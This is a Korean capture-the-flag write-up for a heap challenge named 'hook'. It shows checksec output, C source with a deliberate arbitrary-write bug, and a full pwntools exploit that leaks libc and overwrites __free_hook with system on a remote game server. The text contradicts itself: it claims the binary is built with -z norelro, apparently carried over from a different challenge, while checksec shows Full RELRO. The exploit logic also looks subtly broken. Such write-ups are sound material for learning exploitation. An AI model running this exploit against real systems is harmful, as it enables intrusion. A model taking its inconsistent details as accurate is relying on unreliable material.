hook

The binary is linked with -z norelro, leaving the init/fini arrays writable and hijackable.

2026.08.18 Pwn original post

보호기법과 소스코드를 확인해보긔

[*] '/Users/chaeeun/Desktop/6b8cd690-a995-4baa-a3a8-e89ec6005659/hook'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    Stripped: No
// gcc -o init_fini_array init_fini_array.c -Wl,-z,norelro
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

int main(int argc, char *argv[]) {
    long *ptr;
    size_t size;

    initialize();

    printf("stdout: %p\n", stdout);
    printf("Size: ");
    scanf("%ld", &size);

    ptr = malloc(size);

    printf("Data: ");
    read(0, ptr, size);

    *(long *)*ptr = *(ptr + 1);

    free(ptr);
    free(ptr);

    system("/bin/sh");
    return 0;
}

Full RELRO 가 적용되어 있으니 GOT overwrite 는 불가합니다. GOT overwrite 는 함수 호출 주소를 바꿔서 실행 흐름을 탈취하는 공격 기법이고, Full RELRO 는 GOT 를 읽기 전용으로 만들어서 이를 막는 보호 기법입니다.

NX 랑 canary 도 적용되어 있습니다. 다행히 PIE 는 적용이 안 되어 있습니다. PIE 가 꺼져 있으면 바이너리의 코드 주소가 거의 고정입니다. 예를 들어 main, win, puts@plt 같은 주소가 매번 같습니다.

그럼 아마 핵심 취약점은 꽤 노골적인 임의 주소 쓰기(arbitrary write) 일 듯합니다. 특히 stdout 출력이 있으니까, 그 임의 쓰기를 libc 주소에 정확히 맞추기 위해 있는 걸로 보입니다. 일단 여기서 주는 stdout 주소로 libc base 를 구하는 게 맞는 듯.

*(long *)*ptr = *(ptr + 1);

그리고 여기서 원하는 주소에 원하는 값을 씁니다. 즉 입력 데이터는 보통 이런 구조가 됩니다.

ptr[0] = 덮어쓸 주소
ptr[1] = 쓸 값

그래서 예전 glibc 기준이면 대표적으로:

ptr[0] = __free_hook
ptr[1] = system

으로 넣어서 __free_hook = system 을 만들 수 있습니다.

그럼 주소들부터 구해봅시다. stdout leak → libc base 계산 → libc base + __free_hook offset = __free_hook 실제 주소 → libc base + system offset = system 실제 주소;;;;;;; 이런 식의 형식입니다.

식은 leaked_stdout = libc_base + libc.symbols["_IO_2_1_stdout_"] 이기 때문에 역산하면 아래처럼 각각의 주소를 구할 수 있다.

libc_base = leaked_stdout - libc.symbols["_IO_2_1_stdout_"]
free_hook = libc_base + libc.symbols["__free_hook"]
system    = libc_base + libc.symbols["system"]

그럼 코드는

from pwn import *

context.arch = "amd64"

elf  = ELF("./hook")
libc = ELF("./libc-2.23.so")

HOST = "host3.dreamhack.games"
PORT = 9431
p = remote(HOST, PORT)

# stdout leak 받기
p.recvuntil(b"stdout: ")
leaked_stdout = int(p.recvline().strip(), 16)

# libc base 계산
libc_base = leaked_stdout - libc.symbols["_IO_2_1_stdout_"]
libc.address = libc_base

free_hook = libc.symbols["__free_hook"]
system    = libc.symbols["system"]

log.info(f"leaked stdout = {hex(leaked_stdout)}")
log.info(f"libc base     = {hex(libc_base)}")
log.info(f"__free_hook   = {hex(free_hook)}")
log.info(f"system        = {hex(system)}")

# *(long *)*ptr = *(ptr+1) 즉 ptr[0] 주소에 ptr[1] 값을 씀
payload  = p64(free_hook)
payload += p64(system)

p.sendlineafter(b"Size: ", str(len(payload)).encode())
p.sendafter(b"Data: ", payload)

p.interactive()

ptr 에 우리가 넣은 데이터가 이렇게 들어간다고 보면 됩니다.

ptr[0] = p64(__free_hook)
ptr[1] = p64(system)

그러면 코드가 실행하는 건:

*(long *)__free_hook = system;